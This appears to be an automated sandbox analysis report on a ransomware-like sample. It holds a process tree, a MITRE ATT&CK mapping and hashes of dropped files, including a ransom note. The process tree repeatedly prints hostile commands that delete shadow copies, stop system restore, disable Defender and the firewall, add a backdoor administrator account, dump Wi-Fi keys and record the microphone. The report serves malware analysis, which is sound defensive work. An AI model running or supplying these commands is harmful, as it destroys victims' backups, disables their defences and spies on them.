        C:\Windows\System32\vssadmin.exe
        
        "C:\Windows\System32\vssadmin.exe" delete shadows /all /quiet
        14⤵
        Interacts with shadow copies
        
        PID:11588
        
        C:\Windows\System32\wbem\WMIC.exe
        
        "C:\Windows\System32\wbem\WMIC.exe" shadowcopy delete
        14⤵
        
        PID:3296
        
        C:\Windows\System32\net.exe
        
        "C:\Windows\System32\net.exe" stop srservice
        14⤵
        
        PID:10328
        
        C:\Windows\system32\net1.exe
        
        C:\Windows\system32\net1 stop srservice
        15⤵
        
        PID:12996
        
        C:\Windows\System32\netsh.exe
        
        "C:\Windows\System32\netsh.exe" advfirewall set allprofiles state off
        14⤵
        Modifies Windows Firewall
        
        PID:15092
        
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        "powershell.exe" -Command "Set-MpPreference -DisableRealtimeMonitoring $true; Set-MpPreference -DisableIOAVProtection $true; Set-MpPreference -DisableBehaviorMonitoring $true"
        12⤵
        Disables one or more Microsoft Defender components
        Command and Scripting Interpreter: PowerShell
        
        PID:13728
        
        C:\Windows\SYSTEM32\net.exe
        
        "net.exe" user WindowsUpdater P@ssw0rd123 /add
        12⤵
        Creates a new local user account
        
        PID:13556
        
        C:\Windows\system32\net1.exe
        
        C:\Windows\system32\net1 user WindowsUpdater P@ssw0rd123 /add
        13⤵
        Creates a new local user account
        
        PID:15316
        
        C:\Windows\SYSTEM32\net.exe
        
        "net.exe" localgroup Administrators WindowsUpdater /add
        12⤵
        
        PID:14872
        
        C:\Windows\system32\net1.exe
        
        C:\Windows\system32\net1 localgroup Administrators WindowsUpdater /add
        13⤵
        
        PID:7108
        
        C:\Windows\notepad.exe
        
        "notepad.exe"
        12⤵
        
        PID:7580
        
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        "powershell.exe" -Command "Add-Type -AssemblyName System.Windows.Forms; $rec = New-Object System.Windows.Forms.AxHost('{0F5819E0-38AD-11D0-A404-00A0C9062809}'); $rec.Start(); Start-Sleep -Seconds 5; $rec.Stop(); $rec.Save('C:\Users\Admin\AppData\Local\Temp\mic_639286765156996378.wav')"
        12⤵
        Command and Scripting Interpreter: PowerShell
        
        PID:1476
        
        C:\Windows\SYSTEM32\netsh.exe
        
        "netsh" wlan show profiles key=clear
        12⤵
        System Network Configuration Discovery: Wi-Fi Discovery
        
        PID:10820
        
        C:\Windows\System32\vssadmin.exe
        
        "C:\Windows\System32\vssadmin.exe" delete shadows /all /quiet
        12⤵
        Interacts with shadow copies
        
        PID:7780
        
        C:\Windows\System32\wbem\WMIC.exe
        
        "C:\Windows\System32\wbem\WMIC.exe" shadowcopy delete
        12⤵
        
        PID:14220
        
        C:\Windows\System32\net.exe
        
        "C:\Windows\System32\net.exe" stop srservice
        12⤵
        
        PID:13780
        
        C:\Windows\system32\net1.exe
        
        C:\Windows\system32\net1 stop srservice
        13⤵
        
        PID:8940
        
        C:\Windows\System32\netsh.exe
        
        "C:\Windows\System32\netsh.exe" advfirewall set allprofiles state off
        12⤵
        Modifies Windows Firewall
        
        PID:11772
        
        C:\Windows\System32\sc.exe
        
        "C:\Windows\System32\sc.exe" stop wuauserv
        12⤵
        Launches sc.exe
        
        PID:12708
        
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        "powershell.exe" -Command "Set-MpPreference -DisableRealtimeMonitoring $true; Set-MpPreference -DisableIOAVProtection $true; Set-MpPreference -DisableBehaviorMonitoring $true"
        10⤵
        Disables one or more Microsoft Defender components
        Command and Scripting Interpreter: PowerShell
        
        PID:10260
        
        C:\Windows\SYSTEM32\net.exe
        
        "net.exe" user WindowsUpdater P@ssw0rd123 /add
        10⤵
        Creates a new local user account
        
        PID:11008
        
        C:\Windows\system32\net1.exe
        
        C:\Windows\system32\net1 user WindowsUpdater P@ssw0rd123 /add
        11⤵
        Creates a new local user account
        
        PID:11612
        
        C:\Windows\SYSTEM32\net.exe
        
        "net.exe" localgroup Administrators WindowsUpdater /add
        10⤵
        
        PID:10376
        
        C:\Windows\system32\net1.exe
        
        C:\Windows\system32\net1 localgroup Administrators WindowsUpdater /add
        11⤵
        
        PID:11860
        
        C:\Windows\notepad.exe
        
        "notepad.exe"
        10⤵
        
        PID:11520
        
        C:\Windows\SYSTEM32\netsh.exe
        
        "netsh" wlan show profiles key=clear
        10⤵
        System Network Configuration Discovery: Wi-Fi Discovery
        
        PID:15068
        
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        "powershell.exe" -Command "Add-Type -AssemblyName System.Windows.Forms; $rec = New-Object System.Windows.Forms.AxHost('{0F5819E0-38AD-11D0-A404-00A0C9062809}'); $rec.Start(); Start-Sleep -Seconds 5; $rec.Stop(); $rec.Save('C:\Users\Admin\AppData\Local\Temp\mic_639286764913223461.wav')"
        10⤵
        Command and Scripting Interpreter: PowerShell
        
        PID:13116
        
        C:\Windows\System32\vssadmin.exe
        
        "C:\Windows\System32\vssadmin.exe" delete shadows /all /quiet
        10⤵
        Interacts with shadow copies
        
        PID:2852
        
        C:\Windows\System32\wbem\WMIC.exe
        
        "C:\Windows\System32\wbem\WMIC.exe" shadowcopy delete
        10⤵
        
        PID:4200
        
        C:\Windows\System32\net.exe
        
        "C:\Windows\System32\net.exe" stop srservice
        10⤵
        
        PID:10100
        
        C:\Windows\system32\net1.exe
        
        C:\Windows\system32\net1 stop srservice
        11⤵
        
        PID:10248
        
        C:\Windows\System32\netsh.exe
        
        "C:\Windows\System32\netsh.exe" advfirewall set allprofiles state off
        10⤵
        Modifies Windows Firewall
        
        PID:7256
        
        C:\Windows\System32\sc.exe
        
        "C:\Windows\System32\sc.exe" stop wuauserv
        10⤵
        Launches sc.exe
        
        PID:10168
        
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        "powershell.exe" -Command "Set-MpPreference -DisableRealtimeMonitoring $true; Set-MpPreference -DisableIOAVProtection $true; Set-MpPreference -DisableBehaviorMonitoring $true"
        8⤵
        Disables one or more Microsoft Defender components
        Command and Scripting Interpreter: PowerShell
        
        PID:8720
        
        C:\Windows\SYSTEM32\net.exe
        
        "net.exe" user WindowsUpdater P@ssw0rd123 /add
        8⤵
        Creates a new local user account
        
        PID:8288
        
        C:\Windows\system32\net1.exe
        
        C:\Windows\system32\net1 user WindowsUpdater P@ssw0rd123 /add
        9⤵
        Creates a new local user account
        
        PID:8844
        
        C:\Windows\SYSTEM32\net.exe
        
        "net.exe" localgroup Administrators WindowsUpdater /add
        8⤵
        
        PID:8552
        
        C:\Windows\system32\net1.exe
        
        C:\Windows\system32\net1 localgroup Administrators WindowsUpdater /add
        9⤵
        
        PID:9744
        
        C:\Windows\notepad.exe
        
        "notepad.exe"
        8⤵
        
        PID:10584
        
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        "powershell.exe" -Command "Add-Type -AssemblyName System.Windows.Forms; $rec = New-Object System.Windows.Forms.AxHost('{0F5819E0-38AD-11D0-A404-00A0C9062809}'); $rec.Start(); Start-Sleep -Seconds 5; $rec.Stop(); $rec.Save('C:\Users\Admin\AppData\Local\Temp\mic_639286764785581981.wav')"
        8⤵
        Command and Scripting Interpreter: PowerShell
        
        PID:12272
        
        C:\Windows\SYSTEM32\netsh.exe
        
        "netsh" wlan show profiles key=clear
        8⤵
        System Network Configuration Discovery: Wi-Fi Discovery
        
        PID:13560
        
        C:\Windows\System32\vssadmin.exe
        
        "C:\Windows\System32\vssadmin.exe" delete shadows /all /quiet
        8⤵
        Interacts with shadow copies
        
        PID:14768
        
        C:\Windows\System32\wbem\WMIC.exe
        
        "C:\Windows\System32\wbem\WMIC.exe" shadowcopy delete
        8⤵
        
        PID:9356
        
        C:\Windows\System32\net.exe
        
        "C:\Windows\System32\net.exe" stop srservice
        8⤵
        
        PID:11632
        
        C:\Windows\system32\net1.exe
        
        C:\Windows\system32\net1 stop srservice
        9⤵
        
        PID:12164
        
        C:\Windows\System32\netsh.exe
        
        "C:\Windows\System32\netsh.exe" advfirewall set allprofiles state off
        8⤵
        Modifies Windows Firewall
        
        PID:4740
        
        C:\Windows\System32\sc.exe
        
        "C:\Windows\System32\sc.exe" stop wuauserv
        8⤵
        Launches sc.exe
        
        PID:8704
      - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        "powershell.exe" -Command "Set-MpPreference -DisableRealtimeMonitoring $true; Set-MpPreference -DisableIOAVProtection $true; Set-MpPreference -DisableBehaviorMonitoring $true"
        6⤵
        Disables one or more Microsoft Defender components
        Command and Scripting Interpreter: PowerShell
        
        PID:7272
      - C:\Windows\SYSTEM32\net.exe
        
        "net.exe" user WindowsUpdater P@ssw0rd123 /add
        6⤵
        Creates a new local user account
        
        PID:8100
        
        C:\Windows\system32\net1.exe
        
        C:\Windows\system32\net1 user WindowsUpdater P@ssw0rd123 /add
        7⤵
        Creates a new local user account
        
        PID:204
      - C:\Windows\SYSTEM32\net.exe
        
        "net.exe" localgroup Administrators WindowsUpdater /add
        6⤵
        
        PID:7264
        
        C:\Windows\system32\net1.exe
        
        C:\Windows\system32\net1 localgroup Administrators WindowsUpdater /add
        7⤵
        
        PID:8348
      - C:\Windows\notepad.exe
        
        "notepad.exe"
        6⤵
        
        PID:9280
      - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        "powershell.exe" -Command "Add-Type -AssemblyName System.Windows.Forms; $rec = New-Object System.Windows.Forms.AxHost('{0F5819E0-38AD-11D0-A404-00A0C9062809}'); $rec.Start(); Start-Sleep -Seconds 5; $rec.Stop(); $rec.Save('C:\Users\Admin\AppData\Local\Temp\mic_639286764655023427.wav')"
        6⤵
        Command and Scripting Interpreter: PowerShell
        
        PID:12232
      - C:\Windows\SYSTEM32\netsh.exe
        
        "netsh" wlan show profiles key=clear
        6⤵
        System Network Configuration Discovery: Wi-Fi Discovery
        
        PID:4572
      - C:\Windows\System32\vssadmin.exe
        
        "C:\Windows\System32\vssadmin.exe" delete shadows /all /quiet
        6⤵
        Interacts with shadow copies
        
        PID:11644
      - C:\Windows\System32\wbem\WMIC.exe
        
        "C:\Windows\System32\wbem\WMIC.exe" shadowcopy delete
        6⤵
        
        PID:13476
      - C:\Windows\System32\net.exe
        
        "C:\Windows\System32\net.exe" stop srservice
        6⤵
        
        PID:13848
        
        C:\Windows\system32\net1.exe
        
        C:\Windows\system32\net1 stop srservice
        7⤵
        
        PID:8272
      - C:\Windows\System32\netsh.exe
        
        "C:\Windows\System32\netsh.exe" advfirewall set allprofiles state off
        6⤵
        Modifies Windows Firewall
        
        PID:14776
      - C:\Windows\System32\sc.exe
        
        "C:\Windows\System32\sc.exe" stop wuauserv
        6⤵
        Launches sc.exe
        
        PID:7584
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      "powershell.exe" -Command "Set-MpPreference -DisableRealtimeMonitoring $true; Set-MpPreference -DisableIOAVProtection $true; Set-MpPreference -DisableBehaviorMonitoring $true"
      4⤵
      Disables one or more Microsoft Defender components
      Command and Scripting Interpreter: PowerShell
      PID:6328
  - - C:\Windows\SYSTEM32\net.exe
      "net.exe" user WindowsUpdater P@ssw0rd123 /add
      4⤵
      Creates a new local user account
      PID:5908
    - - C:\Windows\system32\net1.exe
        
        C:\Windows\system32\net1 user WindowsUpdater P@ssw0rd123 /add
        5⤵
        Creates a new local user account
        
        PID:1056
  - - C:\Windows\SYSTEM32\net.exe
      "net.exe" localgroup Administrators WindowsUpdater /add
      4⤵
      PID:7068
    - - C:\Windows\system32\net1.exe
        
        C:\Windows\system32\net1 localgroup Administrators WindowsUpdater /add
        5⤵
        
        PID:7396
  - - C:\Windows\notepad.exe
      "notepad.exe"
      4⤵
      PID:7400
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      "powershell.exe" -Command "Add-Type -AssemblyName System.Windows.Forms; $rec = New-Object System.Windows.Forms.AxHost('{0F5819E0-38AD-11D0-A404-00A0C9062809}'); $rec.Start(); Start-Sleep -Seconds 5; $rec.Stop(); $rec.Save('C:\Users\Admin\AppData\Local\Temp\mic_639286764511162882.wav')"
      4⤵
      Command and Scripting Interpreter: PowerShell
      PID:8360
  - - C:\Windows\SYSTEM32\netsh.exe
      "netsh" wlan show profiles key=clear
      4⤵
      System Network Configuration Discovery: Wi-Fi Discovery
      PID:9840
  - - C:\Windows\System32\vssadmin.exe
      "C:\Windows\System32\vssadmin.exe" delete shadows /all /quiet
      4⤵
      Interacts with shadow copies
      PID:9628
  - - C:\Windows\System32\wbem\WMIC.exe
      "C:\Windows\System32\wbem\WMIC.exe" shadowcopy delete
      4⤵
      PID:13304
  - - C:\Windows\System32\net.exe
      "C:\Windows\System32\net.exe" stop srservice
      4⤵
      PID:12796
    - - C:\Windows\system32\net1.exe
        
        C:\Windows\system32\net1 stop srservice
        5⤵
        
        PID:9700
  - - C:\Windows\System32\netsh.exe
      "C:\Windows\System32\netsh.exe" advfirewall set allprofiles state off
      4⤵
      Modifies Windows Firewall
      PID:11212
  - - C:\Windows\System32\sc.exe
      "C:\Windows\System32\sc.exe" stop wuauserv
      4⤵
      Launches sc.exe
      PID:10308
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "powershell.exe" -Command "Set-MpPreference -DisableRealtimeMonitoring $true; Set-MpPreference -DisableIOAVProtection $true; Set-MpPreference -DisableBehaviorMonitoring $true"
  2⤵
  - Disables one or more Microsoft Defender components
  - Command and Scripting Interpreter: PowerShell
  PID:4436
- C:\Windows\SYSTEM32\net.exe
  "net.exe" user WindowsUpdater P@ssw0rd123 /add
  2⤵
  - Creates a new local user account
  PID:5876
- - C:\Windows\system32\net1.exe
    C:\Windows\system32\net1 user WindowsUpdater P@ssw0rd123 /add
    3⤵
    - Creates a new local user account
    PID:5144
- C:\Windows\SYSTEM32\net.exe
  "net.exe" localgroup Administrators WindowsUpdater /add
  2⤵
  PID:708
- - C:\Windows\system32\net1.exe
    C:\Windows\system32\net1 localgroup Administrators WindowsUpdater /add
    3⤵
    PID:6164
- C:\Windows\notepad.exe
  "notepad.exe"
  2⤵
  PID:7196
- C:\Windows\SYSTEM32\netsh.exe
  "netsh" wlan show profiles key=clear
  2⤵
  - System Network Configuration Discovery: Wi-Fi Discovery
  PID:7980
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "powershell.exe" -Command "Add-Type -AssemblyName System.Windows.Forms; $rec = New-Object System.Windows.Forms.AxHost('{0F5819E0-38AD-11D0-A404-00A0C9062809}'); $rec.Start(); Start-Sleep -Seconds 5; $rec.Stop(); $rec.Save('C:\Users\Admin\AppData\Local\Temp\mic_639286764396980097.wav')"
  2⤵
  - Command and Scripting Interpreter: PowerShell
  PID:9156
- C:\Windows\System32\vssadmin.exe
  "C:\Windows\System32\vssadmin.exe" delete shadows /all /quiet
  2⤵
  - Interacts with shadow copies
  PID:9368
- C:\Windows\System32\wbem\WMIC.exe
  "C:\Windows\System32\wbem\WMIC.exe" shadowcopy delete
  2⤵
  PID:10232
- C:\Windows\System32\net.exe
  "C:\Windows\System32\net.exe" stop srservice
  2⤵
  PID:672
- - C:\Windows\system32\net1.exe
    C:\Windows\system32\net1 stop srservice
    3⤵
    PID:12464
- C:\Windows\System32\netsh.exe
  "C:\Windows\System32\netsh.exe" advfirewall set allprofiles state off
  2⤵
  - Modifies Windows Firewall
  PID:10648
- C:\Windows\System32\sc.exe
  "C:\Windows\System32\sc.exe" stop wuauserv
  2⤵
  - Launches sc.exe
  PID:14200

C:\Windows\system32\vssvc.exe
C:\Windows\system32\vssvc.exe
1⤵
PID:13204

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k GPSvcGroup
1⤵
PID:3860

Network

MITRE ATT&CK Enterprise v16

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

PowerShell

T1059.001

Scheduled Task/Job

T1053

Scheduled Task

T1053.005

System Services

T1569

Service Execution

T1569.002

Windows Management Instrumentation

T1047

Persistence

Account Manipulation

T1098

Boot or Logon Autostart Execution

T1547

Registry Run Keys / Startup Folder

T1547.001

Create Account

T1136

Local Account

T1136.001

Create or Modify System Process

T1543

Windows Service

T1543.003

Scheduled Task/Job

T1053

Scheduled Task

T1053.005

Privilege Escalation

Account Manipulation

T1098

Boot or Logon Autostart Execution

T1547

Registry Run Keys / Startup Folder

T1547.001

Create or Modify System Process

T1543

Windows Service

T1543.003

Scheduled Task/Job

T1053

Scheduled Task

T1053.005

Defense Evasion

Direct Volume Access

T1006

Impair Defenses

T1562

Disable or Modify System Firewall

T1562.004

Disable or Modify Tools

T1562.001

Indicator Removal

T1070

File Deletion

T1070.004

Modify Registry

T1112

Credential Access

Discovery

Permission Groups Discovery

T1069

Local Groups

T1069.001

System Information Discovery

T1082

System Network Configuration Discovery

T1016

Wi-Fi Discovery

T1016.002

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Inhibit System Recovery

T1490

Service Stop

T1489

Replay Monitor

Loading Replay Monitor...

Downloads

install.log

Path C:\ProgramData\WindowsUpdate\install.log
Size 34B
SHA256 cb73c92d544ffd0a3443551f98c3f7cfbbcc2afb454145c6c867bb4ec41041e8
MD5 760eb38fc859951d54a0d6390140a2de
SHA1 ef22140e98c35fa4add673581578161dbbc5bb89
SHA512 3e2a7ce737c794eb36f2fdcc5c69ac5374f2a6d9b4593b3af166de3c22bfa6310b0074d757fd6b57fab1c6e23e4ccf131cc675f86a931c4c5286e55e029a0b2e
MD5 SHA1 SHA512

Submit Download

install.log

Path C:\ProgramData\WindowsUpdate\install.log
Size 34B
SHA256 3a840752665a98d21f5a7980573afe0f6b2e48e8ee656fc8c43d6df58cc8f9ec
MD5 d65379070e3341e3846dce3f7cbf108b
SHA1 a0f871d36560bd6d1b2e3a58ea001bc52b2c4c0b
SHA512 429adf441e90957dc745c0968230142cd9b5407f272db3d8e7e1c1db8a14d8b42580cd4c1a35b734e775c42e4c6029501b8638bffd06eceb043fb7dce7bc82fd
MD5 SHA1 SHA512

Submit Download

install.log

Path C:\ProgramData\WindowsUpdate\install.log
Size 34B
SHA256 8430e9aade06a0c3a3164a55e6a1526449355f25bdb3e6ee125907c14ecb1192
MD5 914df11c19dd604f499ec976bc07eaa6
SHA1 061e4ba0cc6c8a2a470b0269ad47aced5e592969
SHA512 103f69ef2ca2e2d10d7438e601eb1669832b1fef989fa22dac6c32086634b8f4b06ef6a8af74e96c94334fea1e6cd2936929d63494bbcd1778b22b43fc77a233
MD5 SHA1 SHA512

Submit Download

install.log

Path C:\ProgramData\WindowsUpdate\install.log
Size 34B
SHA256 d45fba60e66e64c9dda5387b497656a54c6b67c8e8885332899d8b6c60a6827f
MD5 19aaa80cb51e0d28b706d6fce3214458
SHA1 383f5d84139af9536b5fb37cf8ba99c5acddb0a8
SHA512 9d269a8bcb776fe5ed9e319598387fd96e5c9328aa62ffb689582a85ddb5c7ade872a4f134ad9e80a6589516e64e0bbd1d96679ef2512f114636c8c81bbdfd7c
MD5 SHA1 SHA512

Submit Download

install.log

Path C:\ProgramData\WindowsUpdate\install.log
Size 34B
SHA256 442395968e56883e843a1c5765f013f3d13c669ed6ef312fc79bbf91f9d390b2
MD5 ea94ef8461e8817e5a8d84b2b4a84a25
SHA1 c61f759c3c35408bbb903eddedf58a1d56e68296
SHA512 9cf811ac23030b6cc81079970a93e687ecc57e9cce3d8380b43a84ab9137d387a9f59057a55901af87d54d483e34f49040e76903d5d300db11b466cfa0fe71a4
MD5 SHA1 SHA512

Submit Download

install.log

Path C:\ProgramData\WindowsUpdate\install.log
Size 34B
SHA256 67db88d91af8293a97ec30e9251c0308bf1ccfd8bed3217c069f4fa0e8a878cd
MD5 8e57e0a9dca254c6082d23abf37234a2
SHA1 162b45550204ddc44e93330eed7e8f38f51907ac
SHA512 32c22bb1f6a6de309e667d9ed438aae269fc4a49c11525606dc44f632e8092007331ca5aef24d8682ed908fc481cabb946458bc320867ffda323834c2cf355d2
MD5 SHA1 SHA512

Submit Download

install.log

Path C:\ProgramData\WindowsUpdate\install.log
Size 34B
SHA256 4f504c67981660904ebff7392019b7dd11151a8feccf585ed7831ea211d6fcf5
MD5 001b098d27a7a77eb7667f1195375d05
SHA1 d84b0ede17ef925c4e1f0a82d270bc05a88aa800
SHA512 75921e40f75163f450f1149884564719bd14ad07ba68f484337dafaa73a134c68b4eb996a537b3e530608248956aa784c5b21b08c28fc081196a6a0a76277fdc
MD5 SHA1 SHA512

Submit Download

install.log

Path C:\ProgramData\WindowsUpdate\install.log
Size 34B
SHA256 6eab43d920cd896017220d065f9132f6db643a9627172df096fa0e790a5e38d6
MD5 5961d9b96a51e13ac1f6cafb45e2e184
SHA1 7d5279ab33b7218367ac5814b25321577d34ff8a
SHA512 0d01148ef5ef93bf90034b7d6789f90f80689ab41329a320f405a71b1e20890e858040120238540286a88e8a18aa75232378dfae85102caeab93ea5936f91cbc
MD5 SHA1 SHA512

Submit Download

install.log

Path C:\ProgramData\WindowsUpdate\install.log
Size 34B
SHA256 38fb67031881409e14fe7bb9930d8e13dab2b4cb3b013fabf11657129034b78e
MD5 a20d4b677e0ba384faed7fd1729cce4a
SHA1 df9f5be14bdcb3b012742127f3cef2ad9706bfc9
SHA512 761333889a6f40e76cec00e5d820397cd43cc65ab1616c9d5e934daeae3e8a877e81945ab4ed5ec1c3d44f120ee819c6f074d0b3217c705076506e87d3eea250
MD5 SHA1 SHA512

Submit Download

install.log

Path C:\ProgramData\WindowsUpdate\install.log
Size 34B
SHA256 f93fa998c2074d521191a16f49bbdf2d24cf381b7e44e064d5a970d7287cca52
MD5 b110cfaf9429ebb09f76e33d4f7251ad
SHA1 50108e414594d47632626626e84a337ecf49bbcf
SHA512 c3c29800162df1280ba4d62f350c8e101177ef7f8a7d5ec101d8203e6e68f04c82662e0ffc942999d2a56e0255a09402a99b369aa20d7d4e1d0957c0587feead
MD5 SHA1 SHA512

Submit Download

wall.bmp

Path C:\ProgramData\WindowsUpdate\wall.bmp
Size 4KB
SHA256 bfae0295664ce051cb59b4d5c6778bd55fc84e27cf2f68a2ee1c0191cc03903c
MD5 6b2dd92d813df1a29e272071229c77f7
SHA1 e0452bac1d427ffbfd71c613fe8aeb9b1a02c72b
SHA512 e6d29fc5b5c60c9c15834157db2a25fac1c6086d4bed389361126d5e6c82a769eafc026667c4c97e6059e84b348feba84e4a133ea265d4e93b370d094eacb41a
SSDEEP 48:LeXxko9UiJNSNGSn0j+Vx8pckYKgI4QSFc2K8CawnYSzRrh:8jpe0WSpXdX5SdfCawn5
TLSH
T1A6A11266F90ED2B0100B87B09F25152CE9CF0DCDE3A00D544A2A5C589AC2DB5AF79F6E
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

ModuleAnalysisCache

Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\ModuleAnalysisCache
Size 67KB
SHA256 50b9dc324634108ff1aa98008c68c20b19c4e982d377c82afc12ea505ff598bd
MD5 2effd9b76a5fd667b1642852861ce04e
SHA1 86c9117fff0fd1a99dbc6dba27ebd143235eb996
SHA512 5f51665089f7705ba4dbb70b3b6d4368208751a5577300c73910fa46c6b6fd038b6d1c26b0e455bcf2f0cff058e9d18768692a998ba4e273f8ed56c9c3d938a4
SSDEEP 1536:1KLg07Yo2hk3MFfKQVAflJdpHYLh4iUxpR40i71YigMQyPTOdBcV3CNBQkj2Va5o:1KLg07Yo2hk3MFfKQVAflJd9YLqiUpRe
TLSH
T1EC636292E9204E75E1A66F3EF15622627C30394690F8153211DC25EFA987D930B1FBFE
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

__PSScriptPolicyTest_2oktiqdk.bvr.psm1

Path C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_2oktiqdk.bvr.psm1
Size 60B
SHA256 96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
MD5 d17fe0a3f47be24a6453e9ef58c94641
SHA1 6ab83620379fc69f80c0242105ddffd7d98d5d9d
SHA512 5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82
TLSH
T177A02228CC303B200020C0080A000002C00B800C080C8C0220000A00B20B820002F080
MD5 SHA1 SHA512 TLSH

Submit Download

bc87aa16-5028-4fc9-af3c-5547d399c4da.inf

Path C:\Users\Admin\AppData\Local\Temp\bc87aa16-5028-4fc9-af3c-5547d399c4da.inf
Size 154B
SHA256 b8f29baa1e54f9d4d1d2a6dedc44e35c9a6eaec88620c758fae68ef19cac0d24
MD5 e2ebb345743e6ee5447f499dcfe72fa9
SHA1 44bf1537d559f0037a951a26be863389fd6bf118
SHA512 d344692d13026eb3fc634d3972571a7ff60c035bee43ed7c8f69fd2f0ee582ccc49303a99c65287706801a1ea8e00aa0b067c800ca81c69f460047b6a0255a23
TLSH
T173C08CC4C0F096B60A0A6833213B03E44EB2C2057E8A170810F0EA6A82E980462D323E
MD5 SHA1 SHA512 TLSH

Submit Download

f0dd3073-8e4a-4625-822a-27ec83850579.inf

Path C:\Users\Admin\AppData\Local\Temp\f0dd3073-8e4a-4625-822a-27ec83850579.inf
Size 173B
SHA256 ba9bce503e2d0d858425a1f8ef502a34888e69a551e87a557f6644f60cf3885b
MD5 08187ed7bcf5d14eda2d5056da0f05e3
SHA1 5c97e0294e0b73ffaa458431ece845e82553df21
SHA512 a00befb7d1bc770ad265c53731c20edea27ac4224565450788fc6bb6944652b8071f26dade18e93e3f3b02b94cc28e0663b65b10ae890f8616c254705c3e82ff
TLSH
T1C2C080C0C1F0AF750A497933113B02A85DF2C5097D05170830F0DA6B829580567D323E
MD5 SHA1 SHA512 TLSH

Submit Download

uac.bat

Path C:\Users\Admin\AppData\Local\Temp\uac.bat
Size 60B
SHA256 a3c49dc6321b383fe442751d8847aa8995e37b99ec4c8c80731e8aa3b41da2d8
MD5 b31608602a1e0bf182890383caa50432
SHA1 934b32186076f89d14be5f08a2fd36c4fd0fff0b
SHA512 9e4fbbc0a526b8a691f0c4a8f9c9249863098bd5cce109547cf426e2778181a72a372d456a6d357fd48ad419cce3e09b8d8df57ef3df1529ed4ab043c067e228
TLSH
T1ACA002068885856F08154C1715E367C9B0B9045DAAC67A004241982C1AD745AB4CA512
MD5 SHA1 SHA512 TLSH

Submit Download

uac.bat

Path C:\Users\Admin\AppData\Local\Temp\uac.bat
Size 79B
SHA256 ca49d9e5251fc205bcfae51dc3edfa85623a7b6fa41db7d5d5e572c3554965a7
MD5 9ec31ae3e676317fd550058e5c1e090f
SHA1 81c8b0cc841b7d1fcf91fb9fa6c72a0c92d6320f
SHA512 1bed9a2d6fc38f085015b13d1bfcfb399c7ed68bf47faf81c4860c83361ee36013b6afc647a18794bab4ce7a68daf23ad4bdbf103d48b743c40ae06d526c1d94
TLSH
T195A01202C8415E2D0814180200E1114CB0B4041D650167002100C41E058341B75C6112
MD5 SHA1 SHA512 TLSH

Submit Download

tcpmon.exe

Path C:\Users\Admin\AppData\Local\tcpmon.exe
Size 39KB
SHA256 f53232a69049b9bd4961eaf49fc152c0fb6e013aca26f73c892f6cd9c61e4e77
MD5 a993edfe28b17a838d5f6162d55b654b
SHA1 cf97894d7a557e744d9feb429e67a9c773a2e9c9
SHA512 e8159608359a0f4aa49e3fd2b8da4569f90364a1d4e2d2880fdc60df574353b768820b945f4da5ec04e75a9ae65e873fc29614ae3b9d655f53691d9aca9ed6ef
SSDEEP 768:tIX+3t4tMYrbLcqNuYs37sGXmoIx9uHmdEEusXqKhLayzU:dd4tBbLk4EmoIx9uGdf9XqiLE
TLSH
T15403E70537FD8668E1BF6AB74D7282008775F8979D23D70D0ED1848E1AB3B448E99B93
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

config.dat

Path C:\Users\Admin\AppData\Roaming\ADCD5EDB-9C0E-4332-8DBE-01C8D33C889E\config.dat
Size 28B
SHA256 c935b13cb313028b19572ad742c004d7194df1c29125863655a6de6d6ed666ad
MD5 d99903add8344822cf8ca20255db9518
SHA1 363722ecd9868f749c701f4214eb6da19585ca60
SHA512 47e3aac366e6258bc2a6dadff0c41c3e45442339520f2f6818ac598989f4f6cf1a704a6c31417ab486b1af914ee2cf655d1af777eddc85d7c66aaa0a466e0d6b
MD5 SHA1 SHA512

Submit Download

run.dat

Path C:\Users\Admin\AppData\Roaming\ADCD5EDB-9C0E-4332-8DBE-01C8D33C889E\run.dat
Size 20B
SHA256 c9dbf8c73b5432300340e9b9f5459361e8e911384a18d0e4d828cd19d7ba9638
MD5 70e87321819d7fd280e5a03903c80ff1
SHA1 e059e29a7446feeb08fec50f65ab8cb2e47df6fd
SHA512 f3813e6ce663015e9a147ae195d33d87a49799411f98e5f61c8b5e7261945ec8c1ee424002887d1bfd89cdaf0599e51e788fefc527f803c2508538f2132aa60e
MD5 SHA1 SHA512

Submit Download

RANSOM_NOTE.txt

Path C:\Users\Admin\Desktop\RANSOM_NOTE.txt
Size 117B
SHA256 7cf8d385e7141b5bc8c2c48cf20a57c41dfc05d2474ba29c93189a4e193522d8
MD5 6482e81290ba858401e5a31b894cb00b
SHA1 215925ac6e0c8e377e8529dc318fa2416728e1ef
SHA512 fbbb4cddc867bb9a83252c102edfda25212acbe981d97b1b92f8cf00451bdc2fd2ad6b08cce34bebbb44c3195f69e906952a7fa2ec4bca495c9b08edbb210359
TLSH
T147B09B5B7ED8375457C8259215018C21A58DD50CD5454654013788506D655591595873
MD5 SHA1 SHA512 TLSH

Submit Download

invoice_2.pdf

Path C:\Users\Admin\Desktop\invoice_2.pdf
Size 52KB
SHA256 4ddba6d8be0e687fedc22586e22e78dee1b8dd787d78b98f7e4cab26f1313725
MD5 599fc87134d144da7d218830e912ed3d
